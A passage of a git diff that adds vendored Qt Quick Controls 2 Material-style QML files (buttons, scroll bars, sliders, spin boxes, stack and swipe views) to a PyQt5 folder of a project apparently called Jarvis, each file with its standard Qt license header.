"qrc:/qt-project.org/imports/QtQuick/Controls.2/Material/shaders/RectangularGlow.frag" + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/RoundButton.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/RoundButton.qml new file mode 100644 index 00000000..13d0f9db --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/RoundButton.qml @@ -0,0 +1,115 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Material 2.12 +import QtQuick.Controls.Material.impl 2.12 + +T.RoundButton { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding) + + topInset: 6 + leftInset: 6 + rightInset: 6 + bottomInset: 6 + padding: 12 + spacing: 6 + + icon.width: 24 + icon.height: 24 + icon.color: !enabled ? Material.hintTextColor : + flat && highlighted ? Material.accentColor : + highlighted ? Material.primaryHighlightedTextColor : Material.foreground + + Material.elevation: flat ? control.down || control.hovered ? 2 : 0 + : control.down ? 12 : 6 + Material.background: flat ? "transparent" : undefined + + contentItem: IconLabel { + spacing: control.spacing + mirrored: control.mirrored + display: control.display + + icon: control.icon + text: control.text + font: control.font + color: !control.enabled ? control.Material.hintTextColor : + control.flat && control.highlighted ? control.Material.accentColor : + control.highlighted ? control.Material.primaryHighlightedTextColor : control.Material.foreground + } + + // TODO: Add a proper ripple/ink effect for mouse/touch input and focus state + background: Rectangle { + implicitWidth: control.Material.buttonHeight + implicitHeight: control.Material.buttonHeight + + radius: control.radius + color: !control.enabled ? control.Material.buttonDisabledColor + : control.checked || control.highlighted ? control.Material.highlightedButtonColor : control.Material.buttonColor + + Rectangle { + width: parent.width + height: parent.height + radius: control.radius + visible: control.hovered || control.visualFocus + color: control.Material.rippleColor + } + + Rectangle { + width: parent.width + height: parent.height + radius: control.radius + visible: control.down + color: control.Material.rippleColor + } + + // The layer is disabled when the button color is transparent so that you can do + // Material.background: "transparent" and get a proper flat button without needing + // to set Material.elevation as well + layer.enabled: control.enabled && control.Material.buttonColor.a > 0 + layer.effect: ElevationEffect { + elevation: control.Material.elevation + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/ScrollBar.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/ScrollBar.qml new file mode 100644 index 00000000..fda64346 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/ScrollBar.qml @@ -0,0 +1,89 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Material 2.12 + +T.ScrollBar { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding) + + padding: control.interactive ? 1 : 2 + visible: control.policy !== T.ScrollBar.AlwaysOff + minimumSize: orientation == Qt.Horizontal ? height / width : width / height + + contentItem: Rectangle { + implicitWidth: control.interactive ? 13 : 4 + implicitHeight: control.interactive ? 13 : 4 + + color: control.pressed ? control.Material.scrollBarPressedColor : + control.interactive && control.hovered ? control.Material.scrollBarHoveredColor : control.Material.scrollBarColor + opacity: 0.0 + } + + background: Rectangle { + implicitWidth: control.interactive ? 16 : 4 + implicitHeight: control.interactive ? 16 : 4 + color: "#0e000000" + opacity: 0.0 + visible: control.interactive + } + + states: State { + name: "active" + when: control.policy === T.ScrollBar.AlwaysOn || (control.active && control.size < 1.0) + } + + transitions: [ + Transition { + to: "active" + NumberAnimation { targets: [control.contentItem, control.background]; property: "opacity"; to: 1.0 } + }, + Transition { + from: "active" + SequentialAnimation { + PropertyAction{ targets: [control.contentItem, control.background]; property: "opacity"; value: 1.0 } + PauseAnimation { duration: 2450 } + NumberAnimation { targets: [control.contentItem, control.background]; property: "opacity"; to: 0.0 } + } + } + ] +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/ScrollIndicator.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/ScrollIndicator.qml new file mode 100644 index 00000000..19f23ad2 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/ScrollIndicator.qml @@ -0,0 +1,75 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Material 2.12 + +T.ScrollIndicator { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding) + + padding: 2 + + contentItem: Rectangle { + implicitWidth: 4 + implicitHeight: 4 + + color: control.Material.scrollBarColor + visible: control.size < 1.0 + opacity: 0.0 + + states: State { + name: "active" + when: control.active + PropertyChanges { target: control.contentItem; opacity: 0.75 } + } + + transitions: [ + Transition { + from: "active" + SequentialAnimation { + PauseAnimation { duration: 450 } + NumberAnimation { target: control.contentItem; duration: 200; property: "opacity"; to: 0.0 } + } + } + ] + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/Slider.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/Slider.qml new file mode 100644 index 00000000..ac7a0c42 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/Slider.qml @@ -0,0 +1,81 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Material 2.12 +import QtQuick.Controls.Material.impl 2.12 + +T.Slider { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitHandleWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitHandleHeight + topPadding + bottomPadding) + + padding: 6 + + handle: SliderHandle { + x: control.leftPadding + (control.horizontal ? control.visualPosition * (control.availableWidth - width) : (control.availableWidth - width) / 2) + y: control.topPadding + (control.horizontal ? (control.availableHeight - height) / 2 : control.visualPosition * (control.availableHeight - height)) + value: control.value + handleHasFocus: control.visualFocus + handlePressed: control.pressed + handleHovered: control.hovered + } + + background: Rectangle { + x: control.leftPadding + (control.horizontal ? 0 : (control.availableWidth - width) / 2) + y: control.topPadding + (control.horizontal ? (control.availableHeight - height) / 2 : 0) + implicitWidth: control.horizontal ? 200 : 48 + implicitHeight: control.horizontal ? 48 : 200 + width: control.horizontal ? control.availableWidth : 4 + height: control.horizontal ? 4 : control.availableHeight + scale: control.horizontal && control.mirrored ? -1 : 1 + color: control.enabled ? Color.transparent(control.Material.accentColor, 0.33) : control.Material.sliderDisabledColor + + Rectangle { + x: control.horizontal ? 0 : (parent.width - width) / 2 + y: control.horizontal ? (parent.height - height) / 2 : control.visualPosition * parent.height + width: control.horizontal ? control.position * parent.width : 4 + height: control.horizontal ? 4 : control.position * parent.height + + color: control.enabled ? control.Material.accentColor : control.Material.sliderDisabledColor + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/SliderHandle.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/SliderHandle.qml new file mode 100644 index 00000000..c9078bc8 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/SliderHandle.qml @@ -0,0 +1,76 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Controls.Material 2.12 +import QtQuick.Controls.Material.impl 2.12 + +Item { + id: root + implicitWidth: initialSize + implicitHeight: initialSize + + property real value: 0 + property bool handleHasFocus: false + property bool handlePressed: false + property bool handleHovered: false + readonly property int initialSize: 13 + readonly property var control: parent + + Rectangle { + id: handleRect + width: parent.width + height: parent.height + radius: width / 2 + scale: root.handlePressed ? 1.5 : 1 + color: control.enabled ? root.control.Material.accentColor : root.control.Material.sliderDisabledColor + + Behavior on scale { + NumberAnimation { + duration: 250 + } + } + } + + Ripple { + x: (parent.width - width) / 2 + y: (parent.height - height) / 2 + width: 22; height: 22 + pressed: root.handlePressed + active: root.handlePressed || root.handleHasFocus || root.handleHovered + color: root.control.Material.highlightedRippleColor + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/SpinBox.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/SpinBox.qml new file mode 100644 index 00000000..23c86bc3 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/SpinBox.qml @@ -0,0 +1,156 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Material 2.12 +import QtQuick.Controls.Material.impl 2.12 + +T.SpinBox { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + contentItem.implicitWidth + + up.implicitIndicatorWidth + + down.implicitIndicatorWidth) + implicitHeight: Math.max(implicitContentHeight + topPadding + bottomPadding, + implicitBackgroundHeight, + up.implicitIndicatorHeight, + down.implicitIndicatorHeight) + + spacing: 6 + topPadding: 8 + bottomPadding: 16 + leftPadding: (control.mirrored ? (up.indicator ? up.indicator.width : 0) : (down.indicator ? down.indicator.width : 0)) + rightPadding: (control.mirrored ? (down.indicator ? down.indicator.width : 0) : (up.indicator ? up.indicator.width : 0)) + + validator: IntValidator { + locale: control.locale.name + bottom: Math.min(control.from, control.to) + top: Math.max(control.from, control.to) + } + + contentItem: TextInput { + text: control.displayText + + font: control.font + color: enabled ? control.Material.foreground : control.Material.hintTextColor + selectionColor: control.Material.textSelectionColor + selectedTextColor: control.Material.foreground + horizontalAlignment: Qt.AlignHCenter + verticalAlignment: Qt.AlignVCenter + + cursorDelegate: CursorDelegate { } + + readOnly: !control.editable + validator: control.validator + inputMethodHints: control.inputMethodHints + } + + up.indicator: Item { + x: control.mirrored ? 0 : parent.width - width + implicitWidth: control.Material.touchTarget + implicitHeight: control.Material.touchTarget + height: parent.height + width: height + + Ripple { + clipRadius: 2 + x: control.spacing + y: control.spacing + width: parent.width - 2 * control.spacing + height: parent.height - 2 * control.spacing + pressed: control.up.pressed + active: control.up.pressed || control.up.hovered || control.visualFocus + color: control.Material.rippleColor + } + + Rectangle { + x: (parent.width - width) / 2 + y: (parent.height - height) / 2 + width: Math.min(parent.width / 3, parent.height / 3) + height: 2 + color: enabled ? control.Material.foreground : control.Material.spinBoxDisabledIconColor + } + Rectangle { + x: (parent.width - width) / 2 + y: (parent.height - height) / 2 + width: 2 + height: Math.min(parent.width / 3, parent.height / 3) + color: enabled ? control.Material.foreground : control.Material.spinBoxDisabledIconColor + } + } + + down.indicator: Item { + x: control.mirrored ? parent.width - width : 0 + implicitWidth: control.Material.touchTarget + implicitHeight: control.Material.touchTarget + height: parent.height + width: height + + Ripple { + clipRadius: 2 + x: control.spacing + y: control.spacing + width: parent.width - 2 * control.spacing + height: parent.height - 2 * control.spacing + pressed: control.down.pressed + active: control.down.pressed || control.down.hovered || control.visualFocus + color: control.Material.rippleColor + } + + Rectangle { + x: (parent.width - width) / 2 + y: (parent.height - height) / 2 + width: parent.width / 3 + height: 2 + color: enabled ? control.Material.foreground : control.Material.spinBoxDisabledIconColor + } + } + + background: Item { + implicitWidth: 192 + implicitHeight: control.Material.touchTarget + + Rectangle { + x: parent.width / 2 - width / 2 + y: parent.y + parent.height - height - control.bottomPadding / 2 + width: control.availableWidth + height: control.activeFocus ? 2 : 1 + color: control.activeFocus ? control.Material.accentColor : control.Material.hintTextColor + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/SplitView.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/SplitView.qml new file mode 100644 index 00000000..5544e833 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/SplitView.qml @@ -0,0 +1,74 @@ +/**************************************************************************** +** +** Copyright (C) 2018 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.13 +import QtQuick.Templates 2.13 as T +import QtQuick.Controls 2.13 +import QtQuick.Controls.impl 2.13 +import QtQuick.Controls.Material 2.13 + +T.SplitView { + id: control + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding) + + handle: Rectangle { + implicitWidth: control.orientation === Qt.Horizontal ? 6 : control.width + implicitHeight: control.orientation === Qt.Horizontal ? control.height : 6 + color: T.SplitHandle.pressed ? control.Material.background + : Qt.lighter(control.Material.background, T.SplitHandle.hovered ? 1.2 : 1.1) + + Rectangle { + color: control.Material.secondaryTextColor + width: control.orientation === Qt.Horizontal ? thickness : length + height: control.orientation === Qt.Horizontal ? length : thickness + radius: thickness + x: (parent.width - width) / 2 + y: (parent.height - height) / 2 + + property int length: parent.T.SplitHandle.pressed ? 3 : 8 + readonly property int thickness: parent.T.SplitHandle.pressed ? 3 : 1 + + Behavior on length { + NumberAnimation { + duration: 100 + } + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/StackView.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/StackView.qml new file mode 100644 index 00000000..dd5d6ce6 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/StackView.qml @@ -0,0 +1,79 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Material 2.12 + +T.StackView { + id: control + + popEnter: Transition { + // slide_in_left + NumberAnimation { property: "x"; from: (control.mirrored ? -0.5 : 0.5) * -control.width; to: 0; duration: 200; easing.type: Easing.OutCubic } + NumberAnimation { property: "opacity"; from: 0.0; to: 1.0; duration: 200; easing.type: Easing.OutCubic } + } + + popExit: Transition { + // slide_out_right + NumberAnimation { property: "x"; from: 0; to: (control.mirrored ? -0.5 : 0.5) * control.width; duration: 200; easing.type: Easing.OutCubic } + NumberAnimation { property: "opacity"; from: 1.0; to: 0.0; duration: 200; easing.type: Easing.OutCubic } + } + + pushEnter: Transition { + // slide_in_right + NumberAnimation { property: "x"; from: (control.mirrored ? -0.5 : 0.5) * control.width; to: 0; duration: 200; easing.type: Easing.OutCubic } + NumberAnimation { property: "opacity"; from: 0.0; to: 1.0; duration: 200; easing.type: Easing.OutCubic } + } + + pushExit: Transition { + // slide_out_left + NumberAnimation { property: "x"; from: 0; to: (control.mirrored ? -0.5 : 0.5) * -control.width; duration: 200; easing.type: Easing.OutCubic } + NumberAnimation { property: "opacity"; from: 1.0; to: 0.0; duration: 200; easing.type: Easing.OutCubic } + } + + replaceEnter: Transition { + // slide_in_right + NumberAnimation { property: "x"; from: (control.mirrored ? -0.5 : 0.5) * control.width; to: 0; duration: 200; easing.type: Easing.OutCubic } + NumberAnimation { property: "opacity"; from: 0.0; to: 1.0; duration: 200; easing.type: Easing.OutCubic } + } + + replaceExit: Transition { + // slide_out_left + NumberAnimation { property: "x"; from: 0; to: (control.mirrored ? -0.5 : 0.5) * -control.width; duration: 200; easing.type: Easing.OutCubic } + NumberAnimation { property: "opacity"; from: 1.0; to: 0.0; duration: 200; easing.type: Easing.OutCubic } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/SwipeDelegate.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/SwipeDelegate.qml new file mode 100644 index 00000000..d06799be --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/SwipeDelegate.qml @@ -0,0 +1,99 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Material 2.12 +import QtQuick.Controls.Material.impl 2.12 + +T.SwipeDelegate { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding, + implicitIndicatorHeight + topPadding + bottomPadding) + + padding: 16 + verticalPadding: 8 + spacing: 16 + + icon.width: 24 + icon.height: 24 + icon.color: enabled ? Material.foreground : Material.hintTextColor + + swipe.transition: Transition { SmoothedAnimation { velocity: 3; easing.type: Easing.InOutCubic } } + + contentItem: IconLabel { + spacing: control.spacing + mirrored: control.mirrored + display: control.display + alignment: control.display === IconLabel.IconOnly || control.display === IconLabel.TextUnderIcon ? Qt.AlignCenter : Qt.AlignLeft + + icon: control.icon + text: control.text + font: control.font + color: control.enabled ? control.Material.foreground : control.Material.hintTextColor + } + + background: Rectangle { + implicitHeight: control.Material.delegateHeight + + color: control.Material.backgroundColor + + Rectangle { + width: parent.width + height: parent.height + visible: control.highlighted + color: control.Material.listHighlightColor + } + + Ripple { + width: parent.width + height: parent.height + + clip: visible + pressed: control.pressed + anchor: control + active: control.down || control.visualFocus || control.hovered + color: control.Material.rippleColor + enabled: control.swipe.position === 0 + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/SwipeView.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/SwipeView.qml new file mode 100644 index 00000000..a84f16c5 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/SwipeView.qml @@ -0,0 +1,66 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: 